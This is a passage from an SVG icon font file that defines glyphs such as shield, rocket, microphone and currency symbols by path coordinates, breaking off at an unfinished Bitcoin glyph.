d="M640 192v-128q0 -26 -19 -45t-45 -19h-512q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h64v384h-64q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h384q26 0 45 -19t19 -45v-576h64q26 0 45 -19t19 -45zM512 1344v-192q0 -26 -19 -45t-45 -19h-256q-26 0 -45 19t-19 45v192
q0 26 19 45t45 19h256q26 0 45 -19t19 -45z" />
    <glyph glyph-name="exclamation" unicode="&#xf12a;" horiz-adv-x="640" 
d="M512 288v-224q0 -26 -19 -45t-45 -19h-256q-26 0 -45 19t-19 45v224q0 26 19 45t45 19h256q26 0 45 -19t19 -45zM542 1344l-28 -768q-1 -26 -20.5 -45t-45.5 -19h-256q-26 0 -45.5 19t-20.5 45l-28 768q-1 26 17.5 45t44.5 19h320q26 0 44.5 -19t17.5 -45z" />
    <glyph glyph-name="superscript" unicode="&#xf12b;" 
d="M897 167v-167h-248l-159 252l-24 42q-8 9 -11 21h-3q-1 -3 -2.5 -6.5t-3.5 -8t-3 -6.5q-10 -20 -25 -44l-155 -250h-258v167h128l197 291l-185 272h-137v168h276l139 -228q2 -4 23 -42q8 -9 11 -21h3q3 9 11 21l25 42l140 228h257v-168h-125l-184 -267l204 -296h109z
M1534 846v-206h-514l-3 27q-4 28 -4 46q0 64 26 117t65 86.5t84 65t84 54.5t65 54t26 64q0 38 -29.5 62.5t-70.5 24.5q-51 0 -97 -39q-14 -11 -36 -38l-105 92q26 37 63 66q83 65 188 65q110 0 178 -59.5t68 -158.5q0 -56 -24.5 -103t-62 -76.5t-81.5 -58.5t-82 -50.5
t-65.5 -51.5t-30.5 -63h232v80h126z" />
    <glyph glyph-name="subscript" unicode="&#xf12c;" 
d="M897 167v-167h-248l-159 252l-24 42q-8 9 -11 21h-3q-1 -3 -2.5 -6.5t-3.5 -8t-3 -6.5q-10 -20 -25 -44l-155 -250h-258v167h128l197 291l-185 272h-137v168h276l139 -228q2 -4 23 -42q8 -9 11 -21h3q3 9 11 21l25 42l140 228h257v-168h-125l-184 -267l204 -296h109z
M1536 -50v-206h-514l-4 27q-3 45 -3 46q0 64 26 117t65 86.5t84 65t84 54.5t65 54t26 64q0 38 -29.5 62.5t-70.5 24.5q-51 0 -97 -39q-14 -11 -36 -38l-105 92q26 37 63 66q80 65 188 65q110 0 178 -59.5t68 -158.5q0 -66 -34.5 -118.5t-84 -86t-99.5 -62.5t-87 -63t-41 -73
h232v80h126z" />
    <glyph glyph-name="_283" unicode="&#xf12d;" horiz-adv-x="1920" 
d="M896 128l336 384h-768l-336 -384h768zM1909 1205q15 -34 9.5 -71.5t-30.5 -65.5l-896 -1024q-38 -44 -96 -44h-768q-38 0 -69.5 20.5t-47.5 54.5q-15 34 -9.5 71.5t30.5 65.5l896 1024q38 44 96 44h768q38 0 69.5 -20.5t47.5 -54.5z" />
    <glyph glyph-name="puzzle_piece" unicode="&#xf12e;" horiz-adv-x="1664" 
d="M1664 438q0 -81 -44.5 -135t-123.5 -54q-41 0 -77.5 17.5t-59 38t-56.5 38t-71 17.5q-110 0 -110 -124q0 -39 16 -115t15 -115v-5q-22 0 -33 -1q-34 -3 -97.5 -11.5t-115.5 -13.5t-98 -5q-61 0 -103 26.5t-42 83.5q0 37 17.5 71t38 56.5t38 59t17.5 77.5q0 79 -54 123.5
t-135 44.5q-84 0 -143 -45.5t-59 -127.5q0 -43 15 -83t33.5 -64.5t33.5 -53t15 -50.5q0 -45 -46 -89q-37 -35 -117 -35q-95 0 -245 24q-9 2 -27.5 4t-27.5 4l-13 2q-1 0 -3 1q-2 0 -2 1v1024q2 -1 17.5 -3.5t34 -5t21.5 -3.5q150 -24 245 -24q80 0 117 35q46 44 46 89
q0 22 -15 50.5t-33.5 53t-33.5 64.5t-15 83q0 82 59 127.5t144 45.5q80 0 134 -44.5t54 -123.5q0 -41 -17.5 -77.5t-38 -59t-38 -56.5t-17.5 -71q0 -57 42 -83.5t103 -26.5q64 0 180 15t163 17v-2q-1 -2 -3.5 -17.5t-5 -34t-3.5 -21.5q-24 -150 -24 -245q0 -80 35 -117
q44 -46 89 -46q22 0 50.5 15t53 33.5t64.5 33.5t83 15q82 0 127.5 -59t45.5 -143z" />
    <glyph glyph-name="microphone" unicode="&#xf130;" horiz-adv-x="1152" 
d="M1152 832v-128q0 -221 -147.5 -384.5t-364.5 -187.5v-132h256q26 0 45 -19t19 -45t-19 -45t-45 -19h-640q-26 0 -45 19t-19 45t19 45t45 19h256v132q-217 24 -364.5 187.5t-147.5 384.5v128q0 26 19 45t45 19t45 -19t19 -45v-128q0 -185 131.5 -316.5t316.5 -131.5
t316.5 131.5t131.5 316.5v128q0 26 19 45t45 19t45 -19t19 -45zM896 1216v-512q0 -132 -94 -226t-226 -94t-226 94t-94 226v512q0 132 94 226t226 94t226 -94t94 -226z" />
    <glyph glyph-name="microphone_off" unicode="&#xf131;" horiz-adv-x="1408" 
d="M271 591l-101 -101q-42 103 -42 214v128q0 26 19 45t45 19t45 -19t19 -45v-128q0 -53 15 -113zM1385 1193l-361 -361v-128q0 -132 -94 -226t-226 -94q-55 0 -109 19l-96 -96q97 -51 205 -51q185 0 316.5 131.5t131.5 316.5v128q0 26 19 45t45 19t45 -19t19 -45v-128
q0 -221 -147.5 -384.5t-364.5 -187.5v-132h256q26 0 45 -19t19 -45t-19 -45t-45 -19h-640q-26 0 -45 19t-19 45t19 45t45 19h256v132q-125 13 -235 81l-254 -254q-10 -10 -23 -10t-23 10l-82 82q-10 10 -10 23t10 23l1234 1234q10 10 23 10t23 -10l82 -82q10 -10 10 -23
t-10 -23zM1005 1325l-621 -621v512q0 132 94 226t226 94q102 0 184.5 -59t116.5 -152z" />
    <glyph glyph-name="shield" unicode="&#xf132;" horiz-adv-x="1280" 
d="M1088 576v640h-448v-1137q119 63 213 137q235 184 235 360zM1280 1344v-768q0 -86 -33.5 -170.5t-83 -150t-118 -127.5t-126.5 -103t-121 -77.5t-89.5 -49.5t-42.5 -20q-12 -6 -26 -6t-26 6q-16 7 -42.5 20t-89.5 49.5t-121 77.5t-126.5 103t-118 127.5t-83 150
t-33.5 170.5v768q0 26 19 45t45 19h1152q26 0 45 -19t19 -45z" />
    <glyph glyph-name="calendar_empty" unicode="&#xf133;" horiz-adv-x="1664" 
d="M128 -128h1408v1024h-1408v-1024zM512 1088v288q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-288q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM1280 1088v288q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-288q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM1664 1152v-1280
q0 -52 -38 -90t-90 -38h-1408q-52 0 -90 38t-38 90v1280q0 52 38 90t90 38h128v96q0 66 47 113t113 47h64q66 0 113 -47t47 -113v-96h384v96q0 66 47 113t113 47h64q66 0 113 -47t47 -113v-96h128q52 0 90 -38t38 -90z" />
    <glyph glyph-name="fire_extinguisher" unicode="&#xf134;" horiz-adv-x="1408" 
d="M512 1344q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1408 1376v-320q0 -16 -12 -25q-8 -7 -20 -7q-4 0 -7 1l-448 96q-11 2 -18 11t-7 20h-256v-102q111 -23 183.5 -111t72.5 -203v-800q0 -26 -19 -45t-45 -19h-512q-26 0 -45 19t-19 45v800
q0 106 62.5 190.5t161.5 114.5v111h-32q-59 0 -115 -23.5t-91.5 -53t-66 -66.5t-40.5 -53.5t-14 -24.5q-17 -35 -57 -35q-16 0 -29 7q-23 12 -31.5 37t3.5 49q5 10 14.5 26t37.5 53.5t60.5 70t85 67t108.5 52.5q-25 42 -25 86q0 66 47 113t113 47t113 -47t47 -113
q0 -33 -14 -64h302q0 11 7 20t18 11l448 96q3 1 7 1q12 0 20 -7q12 -9 12 -25z" />
    <glyph glyph-name="rocket" unicode="&#xf135;" horiz-adv-x="1664" 
d="M1440 1088q0 40 -28 68t-68 28t-68 -28t-28 -68t28 -68t68 -28t68 28t28 68zM1664 1376q0 -249 -75.5 -430.5t-253.5 -360.5q-81 -80 -195 -176l-20 -379q-2 -16 -16 -26l-384 -224q-7 -4 -16 -4q-12 0 -23 9l-64 64q-13 14 -8 32l85 276l-281 281l-276 -85q-3 -1 -9 -1
q-14 0 -23 9l-64 64q-17 19 -5 39l224 384q10 14 26 16l379 20q96 114 176 195q188 187 358 258t431 71q14 0 24 -9.5t10 -22.5z" />
    <glyph glyph-name="maxcdn" unicode="&#xf136;" horiz-adv-x="1792" 
d="M1745 763l-164 -763h-334l178 832q13 56 -15 88q-27 33 -83 33h-169l-204 -953h-334l204 953h-286l-204 -953h-334l204 953l-153 327h1276q101 0 189.5 -40.5t147.5 -113.5q60 -73 81 -168.5t0 -194.5z" />
    <glyph glyph-name="chevron_sign_left" unicode="&#xf137;" 
d="M909 141l102 102q19 19 19 45t-19 45l-307 307l307 307q19 19 19 45t-19 45l-102 102q-19 19 -45 19t-45 -19l-454 -454q-19 -19 -19 -45t19 -45l454 -454q19 -19 45 -19t45 19zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5
t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="chevron_sign_right" unicode="&#xf138;" 
d="M717 141l454 454q19 19 19 45t-19 45l-454 454q-19 19 -45 19t-45 -19l-102 -102q-19 -19 -19 -45t19 -45l307 -307l-307 -307q-19 -19 -19 -45t19 -45l102 -102q19 -19 45 -19t45 19zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5
t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="chevron_sign_up" unicode="&#xf139;" 
d="M1165 397l102 102q19 19 19 45t-19 45l-454 454q-19 19 -45 19t-45 -19l-454 -454q-19 -19 -19 -45t19 -45l102 -102q19 -19 45 -19t45 19l307 307l307 -307q19 -19 45 -19t45 19zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5
t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="chevron_sign_down" unicode="&#xf13a;" 
d="M813 237l454 454q19 19 19 45t-19 45l-102 102q-19 19 -45 19t-45 -19l-307 -307l-307 307q-19 19 -45 19t-45 -19l-102 -102q-19 -19 -19 -45t19 -45l454 -454q19 -19 45 -19t45 19zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5
t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="html5" unicode="&#xf13b;" horiz-adv-x="1408" 
d="M1130 939l16 175h-884l47 -534h612l-22 -228l-197 -53l-196 53l-13 140h-175l22 -278l362 -100h4v1l359 99l50 544h-644l-15 181h674zM0 1408h1408l-128 -1438l-578 -162l-574 162z" />
    <glyph glyph-name="css3" unicode="&#xf13c;" horiz-adv-x="1792" 
d="M275 1408h1505l-266 -1333l-804 -267l-698 267l71 356h297l-29 -147l422 -161l486 161l68 339h-1208l58 297h1209l38 191h-1208z" />
    <glyph glyph-name="anchor" unicode="&#xf13d;" horiz-adv-x="1792" 
d="M960 1280q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1792 352v-352q0 -22 -20 -30q-8 -2 -12 -2q-12 0 -23 9l-93 93q-119 -143 -318.5 -226.5t-429.5 -83.5t-429.5 83.5t-318.5 226.5l-93 -93q-9 -9 -23 -9q-4 0 -12 2q-20 8 -20 30v352
q0 14 9 23t23 9h352q22 0 30 -20q8 -19 -7 -35l-100 -100q67 -91 189.5 -153.5t271.5 -82.5v647h-192q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h192v163q-58 34 -93 92.5t-35 128.5q0 106 75 181t181 75t181 -75t75 -181q0 -70 -35 -128.5t-93 -92.5v-163h192q26 0 45 -19
t19 -45v-128q0 -26 -19 -45t-45 -19h-192v-647q149 20 271.5 82.5t189.5 153.5l-100 100q-15 16 -7 35q8 20 30 20h352q14 0 23 -9t9 -23z" />
    <glyph glyph-name="unlock_alt" unicode="&#xf13e;" horiz-adv-x="1152" 
d="M1056 768q40 0 68 -28t28 -68v-576q0 -40 -28 -68t-68 -28h-960q-40 0 -68 28t-28 68v576q0 40 28 68t68 28h32v320q0 185 131.5 316.5t316.5 131.5t316.5 -131.5t131.5 -316.5q0 -26 -19 -45t-45 -19h-64q-26 0 -45 19t-19 45q0 106 -75 181t-181 75t-181 -75t-75 -181
v-320h736z" />
    <glyph glyph-name="bullseye" unicode="&#xf140;" 
d="M1024 640q0 -106 -75 -181t-181 -75t-181 75t-75 181t75 181t181 75t181 -75t75 -181zM1152 640q0 159 -112.5 271.5t-271.5 112.5t-271.5 -112.5t-112.5 -271.5t112.5 -271.5t271.5 -112.5t271.5 112.5t112.5 271.5zM1280 640q0 -212 -150 -362t-362 -150t-362 150
t-150 362t150 362t362 150t362 -150t150 -362zM1408 640q0 130 -51 248.5t-136.5 204t-204 136.5t-248.5 51t-248.5 -51t-204 -136.5t-136.5 -204t-51 -248.5t51 -248.5t136.5 -204t204 -136.5t248.5 -51t248.5 51t204 136.5t136.5 204t51 248.5zM1536 640
q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="ellipsis_horizontal" unicode="&#xf141;" horiz-adv-x="1408" 
d="M384 800v-192q0 -40 -28 -68t-68 -28h-192q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h192q40 0 68 -28t28 -68zM896 800v-192q0 -40 -28 -68t-68 -28h-192q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h192q40 0 68 -28t28 -68zM1408 800v-192q0 -40 -28 -68t-68 -28h-192
q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h192q40 0 68 -28t28 -68z" />
    <glyph glyph-name="ellipsis_vertical" unicode="&#xf142;" horiz-adv-x="384" 
d="M384 288v-192q0 -40 -28 -68t-68 -28h-192q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h192q40 0 68 -28t28 -68zM384 800v-192q0 -40 -28 -68t-68 -28h-192q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h192q40 0 68 -28t28 -68zM384 1312v-192q0 -40 -28 -68t-68 -28h-192
q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h192q40 0 68 -28t28 -68z" />
    <glyph glyph-name="_303" unicode="&#xf143;" 
d="M512 256q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM863 162q-13 233 -176.5 396.5t-396.5 176.5q-14 1 -24 -9t-10 -23v-128q0 -13 8.5 -22t21.5 -10q154 -11 264 -121t121 -264q1 -13 10 -21.5t22 -8.5h128
q13 0 23 10t9 24zM1247 161q-5 154 -56 297.5t-139.5 260t-205 205t-260 139.5t-297.5 56q-14 1 -23 -9q-10 -10 -10 -23v-128q0 -13 9 -22t22 -10q204 -7 378 -111.5t278.5 -278.5t111.5 -378q1 -13 10 -22t22 -9h128q13 0 23 10q11 9 9 23zM1536 1120v-960
q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="play_sign" unicode="&#xf144;" 
d="M768 1408q209 0 385.5 -103t279.5 -279.5t103 -385.5t-103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103zM1152 585q32 18 32 55t-32 55l-544 320q-31 19 -64 1q-32 -19 -32 -56v-640q0 -37 32 -56
q16 -8 32 -8q17 0 32 9z" />
    <glyph glyph-name="ticket" unicode="&#xf145;" horiz-adv-x="1792" 
d="M1024 1084l316 -316l-572 -572l-316 316zM813 105l618 618q19 19 19 45t-19 45l-362 362q-18 18 -45 18t-45 -18l-618 -618q-19 -19 -19 -45t19 -45l362 -362q18 -18 45 -18t45 18zM1702 742l-907 -908q-37 -37 -90.5 -37t-90.5 37l-126 126q56 56 56 136t-56 136
t-136 56t-136 -56l-125 126q-37 37 -37 90.5t37 90.5l907 906q37 37 90.5 37t90.5 -37l125 -125q-56 -56 -56 -136t56 -136t136 -56t136 56l126 -125q37 -37 37 -90.5t-37 -90.5z" />
    <glyph glyph-name="minus_sign_alt" unicode="&#xf146;" 
d="M1280 576v128q0 26 -19 45t-45 19h-896q-26 0 -45 -19t-19 -45v-128q0 -26 19 -45t45 -19h896q26 0 45 19t19 45zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5
t84.5 -203.5z" />
    <glyph glyph-name="check_minus" unicode="&#xf147;" horiz-adv-x="1408" 
d="M1152 736v-64q0 -14 -9 -23t-23 -9h-832q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h832q14 0 23 -9t9 -23zM1280 288v832q0 66 -47 113t-113 47h-832q-66 0 -113 -47t-47 -113v-832q0 -66 47 -113t113 -47h832q66 0 113 47t47 113zM1408 1120v-832q0 -119 -84.5 -203.5
t-203.5 -84.5h-832q-119 0 -203.5 84.5t-84.5 203.5v832q0 119 84.5 203.5t203.5 84.5h832q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="level_up" unicode="&#xf148;" horiz-adv-x="1024" 
d="M1018 933q-18 -37 -58 -37h-192v-864q0 -14 -9 -23t-23 -9h-704q-21 0 -29 18q-8 20 4 35l160 192q9 11 25 11h320v640h-192q-40 0 -58 37q-17 37 9 68l320 384q18 22 49 22t49 -22l320 -384q27 -32 9 -68z" />
    <glyph glyph-name="level_down" unicode="&#xf149;" horiz-adv-x="1024" 
d="M32 1280h704q13 0 22.5 -9.5t9.5 -23.5v-863h192q40 0 58 -37t-9 -69l-320 -384q-18 -22 -49 -22t-49 22l-320 384q-26 31 -9 69q18 37 58 37h192v640h-320q-14 0 -25 11l-160 192q-13 14 -4 34q9 19 29 19z" />
    <glyph glyph-name="check_sign" unicode="&#xf14a;" 
d="M685 237l614 614q19 19 19 45t-19 45l-102 102q-19 19 -45 19t-45 -19l-467 -467l-211 211q-19 19 -45 19t-45 -19l-102 -102q-19 -19 -19 -45t19 -45l358 -358q19 -19 45 -19t45 19zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5
t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="edit_sign" unicode="&#xf14b;" 
d="M404 428l152 -152l-52 -52h-56v96h-96v56zM818 818q14 -13 -3 -30l-291 -291q-17 -17 -30 -3q-14 13 3 30l291 291q17 17 30 3zM544 128l544 544l-288 288l-544 -544v-288h288zM1152 736l92 92q28 28 28 68t-28 68l-152 152q-28 28 -68 28t-68 -28l-92 -92zM1536 1120
v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="_312" unicode="&#xf14c;" 
d="M1280 608v480q0 26 -19 45t-45 19h-480q-42 0 -59 -39q-17 -41 14 -70l144 -144l-534 -534q-19 -19 -19 -45t19 -45l102 -102q19 -19 45 -19t45 19l534 534l144 -144q18 -19 45 -19q12 0 25 5q39 17 39 59zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960
q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="share_sign" unicode="&#xf14d;" 
d="M1005 435l352 352q19 19 19 45t-19 45l-352 352q-30 31 -69 14q-40 -17 -40 -59v-160q-119 0 -216 -19.5t-162.5 -51t-114 -79t-76.5 -95.5t-44.5 -109t-21.5 -111.5t-5 -110.5q0 -181 167 -404q11 -12 25 -12q7 0 13 3q22 9 19 33q-44 354 62 473q46 52 130 75.5
t224 23.5v-160q0 -42 40 -59q12 -5 24 -5q26 0 45 19zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="compass" unicode="&#xf14e;" 
d="M640 448l256 128l-256 128v-256zM1024 1039v-542l-512 -256v542zM1312 640q0 148 -73 273t-198 198t-273 73t-273 -73t-198 -198t-73 -273t73 -273t198 -198t273 -73t273 73t198 198t73 273zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103
t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="collapse" unicode="&#xf150;" 
d="M1145 861q18 -35 -5 -66l-320 -448q-19 -27 -52 -27t-52 27l-320 448q-23 31 -5 66q17 35 57 35h640q40 0 57 -35zM1280 160v960q0 13 -9.5 22.5t-22.5 9.5h-960q-13 0 -22.5 -9.5t-9.5 -22.5v-960q0 -13 9.5 -22.5t22.5 -9.5h960q13 0 22.5 9.5t9.5 22.5zM1536 1120
v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="collapse_top" unicode="&#xf151;" 
d="M1145 419q-17 -35 -57 -35h-640q-40 0 -57 35q-18 35 5 66l320 448q19 27 52 27t52 -27l320 -448q23 -31 5 -66zM1280 160v960q0 13 -9.5 22.5t-22.5 9.5h-960q-13 0 -22.5 -9.5t-9.5 -22.5v-960q0 -13 9.5 -22.5t22.5 -9.5h960q13 0 22.5 9.5t9.5 22.5zM1536 1120v-960
q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="_317" unicode="&#xf152;" 
d="M1088 640q0 -33 -27 -52l-448 -320q-31 -23 -66 -5q-35 17 -35 57v640q0 40 35 57q35 18 66 -5l448 -320q27 -19 27 -52zM1280 160v960q0 14 -9 23t-23 9h-960q-14 0 -23 -9t-9 -23v-960q0 -14 9 -23t23 -9h960q14 0 23 9t9 23zM1536 1120v-960q0 -119 -84.5 -203.5
t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="eur" unicode="&#xf153;" horiz-adv-x="1024" 
d="M976 229l35 -159q3 -12 -3 -22.5t-17 -14.5l-5 -1q-4 -2 -10.5 -3.5t-16 -4.5t-21.5 -5.5t-25.5 -5t-30 -5t-33.5 -4.5t-36.5 -3t-38.5 -1q-234 0 -409 130.5t-238 351.5h-95q-13 0 -22.5 9.5t-9.5 22.5v113q0 13 9.5 22.5t22.5 9.5h66q-2 57 1 105h-67q-14 0 -23 9
t-9 23v114q0 14 9 23t23 9h98q67 210 243.5 338t400.5 128q102 0 194 -23q11 -3 20 -15q6 -11 3 -24l-43 -159q-3 -13 -14 -19.5t-24 -2.5l-4 1q-4 1 -11.5 2.5l-17.5 3.5t-22.5 3.5t-26 3t-29 2.5t-29.5 1q-126 0 -226 -64t-150 -176h468q16 0 25 -12q10 -12 7 -26
l-24 -114q-5 -26 -32 -26h-488q-3 -37 0 -105h459q15 0 25 -12q9 -12 6 -27l-24 -112q-2 -11 -11 -18.5t-20 -7.5h-387q48 -117 149.5 -185.5t228.5 -68.5q18 0 36 1.5t33.5 3.5t29.5 4.5t24.5 5t18.5 4.5l12 3l5 2q13 5 26 -2q12 -7 15 -21z" />
    <glyph glyph-name="gbp" unicode="&#xf154;" horiz-adv-x="1024" 
d="M1020 399v-367q0 -14 -9 -23t-23 -9h-956q-14 0 -23 9t-9 23v150q0 13 9.5 22.5t22.5 9.5h97v383h-95q-14 0 -23 9.5t-9 22.5v131q0 14 9 23t23 9h95v223q0 171 123.5 282t314.5 111q185 0 335 -125q9 -8 10 -20.5t-7 -22.5l-103 -127q-9 -11 -22 -12q-13 -2 -23 7
q-5 5 -26 19t-69 32t-93 18q-85 0 -137 -47t-52 -123v-215h305q13 0 22.5 -9t9.5 -23v-131q0 -13 -9.5 -22.5t-22.5 -9.5h-305v-379h414v181q0 13 9 22.5t23 9.5h162q14 0 23 -9.5t9 -22.5z" />
    <glyph glyph-name="usd" unicode="&#xf155;" horiz-adv-x="1024" 
d="M978 351q0 -153 -99.5 -263.5t-258.5 -136.5v-175q0 -14 -9 -23t-23 -9h-135q-13 0 -22.5 9.5t-9.5 22.5v175q-66 9 -127.5 31t-101.5 44.5t-74 48t-46.5 37.5t-17.5 18q-17 21 -2 41l103 135q7 10 23 12q15 2 24 -9l2 -2q113 -99 243 -125q37 -8 74 -8q81 0 142.5 43
t61.5 122q0 28 -15 53t-33.5 42t-58.5 37.5t-66 32t-80 32.5q-39 16 -61.5 25t-61.5 26.5t-62.5 31t-56.5 35.5t-53.5 42.5t-43.5 49t-35.5 58t-21 66.5t-8.5 78q0 138 98 242t255 134v180q0 13 9.5 22.5t22.5 9.5h135q14 0 23 -9t9 -23v-176q57 -6 110.5 -23t87 -33.5
t63.5 -37.5t39 -29t15 -14q17 -18 5 -38l-81 -146q-8 -15 -23 -16q-14 -3 -27 7q-3 3 -14.5 12t-39 26.5t-58.5 32t-74.5 26t-85.5 11.5q-95 0 -155 -43t-60 -111q0 -26 8.5 -48t29.5 -41.5t39.5 -33t56 -31t60.5 -27t70 -27.5q53 -20 81 -31.5t76 -35t75.5 -42.5t62 -50
t53 -63.5t31.5 -76.5t13 -94z" />
    <glyph glyph-name="inr" unicode="&#xf156;" horiz-adv-x="898" 
d="M898 1066v-102q0 -14 -9 -23t-23 -9h-168q-23 -144 -129 -234t-276 -110q167 -178 459 -536q14 -16 4 -34q-8 -18 -29 -18h-195q-16 0 -25 12q-306 367 -498 571q-9 9 -9 22v127q0 13 9.5 22.5t22.5 9.5h112q132 0 212.5 43t102.5 125h-427q-14 0 -23 9t-9 23v102
q0 14 9 23t23 9h413q-57 113 -268 113h-145q-13 0 -22.5 9.5t-9.5 22.5v133q0 14 9 23t23 9h832q14 0 23 -9t9 -23v-102q0 -14 -9 -23t-23 -9h-233q47 -61 64 -144h171q14 0 23 -9t9 -23z" />
    <glyph glyph-name="jpy" unicode="&#xf157;" horiz-adv-x="1027" 
d="M603 0h-172q-13 0 -22.5 9t-9.5 23v330h-288q-13 0 -22.5 9t-9.5 23v103q0 13 9.5 22.5t22.5 9.5h288v85h-288q-13 0 -22.5 9t-9.5 23v104q0 13 9.5 22.5t22.5 9.5h214l-321 578q-8 16 0 32q10 16 28 16h194q19 0 29 -18l215 -425q19 -38 56 -125q10 24 30.5 68t27.5 61
l191 420q8 19 29 19h191q17 0 27 -16q9 -14 1 -31l-313 -579h215q13 0 22.5 -9.5t9.5 -22.5v-104q0 -14 -9.5 -23t-22.5 -9h-290v-85h290q13 0 22.5 -9.5t9.5 -22.5v-103q0 -14 -9.5 -23t-22.5 -9h-290v-330q0 -13 -9.5 -22.5t-22.5 -9.5z" />
    <glyph glyph-name="rub" unicode="&#xf158;" horiz-adv-x="1280" 
d="M1043 971q0 100 -65 162t-171 62h-320v-448h320q106 0 171 62t65 162zM1280 971q0 -193 -126.5 -315t-326.5 -122h-340v-118h505q14 0 23 -9t9 -23v-128q0 -14 -9 -23t-23 -9h-505v-192q0 -14 -9.5 -23t-22.5 -9h-167q-14 0 -23 9t-9 23v192h-224q-14 0 -23 9t-9 23v128
q0 14 9 23t23 9h224v118h-224q-14 0 -23 9t-9 23v149q0 13 9 22.5t23 9.5h224v629q0 14 9 23t23 9h539q200 0 326.5 -122t126.5 -315z" />
    <glyph glyph-name="krw" unicode="&#xf159;" horiz-adv-x="1792" 
d="M514 341l81 299h-159l75 -300q1 -1 1 -3t1 -3q0 1 0.5 3.5t0.5 3.5zM630 768l35 128h-292l32 -128h225zM822 768h139l-35 128h-70zM1271 340l78 300h-162l81 -299q0 -1 0.5 -3.5t1.5 -3.5q0 1 0.5 3t0.5 3zM1382 768l33 128h-297l34 -128h230zM1792 736v-64q0 -14 -9 -23
t-23 -9h-213l-164 -616q-7 -24 -31 -24h-159q-24 0 -31 24l-166 616h-209l-167 -616q-7 -24 -31 -24h-159q-11 0 -19.5 7t-10.5 17l-160 616h-208q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h175l-33 128h-142q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h109l-89 344q-5 15 5 28
q10 12 26 12h137q26 0 31 -24l90 -360h359l97 360q7 24 31 24h126q24 0 31 -24l98 -360h365l93 360q5 24 31 24h137q16 0 26 -12q10 -13 5 -28l-91 -344h111q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-145l-34 -128h179q14 0 23 -9t9 -23z" />
    <glyph glyph-name="btc" unicode="&#xf15a;" horiz-adv-x="1280" 
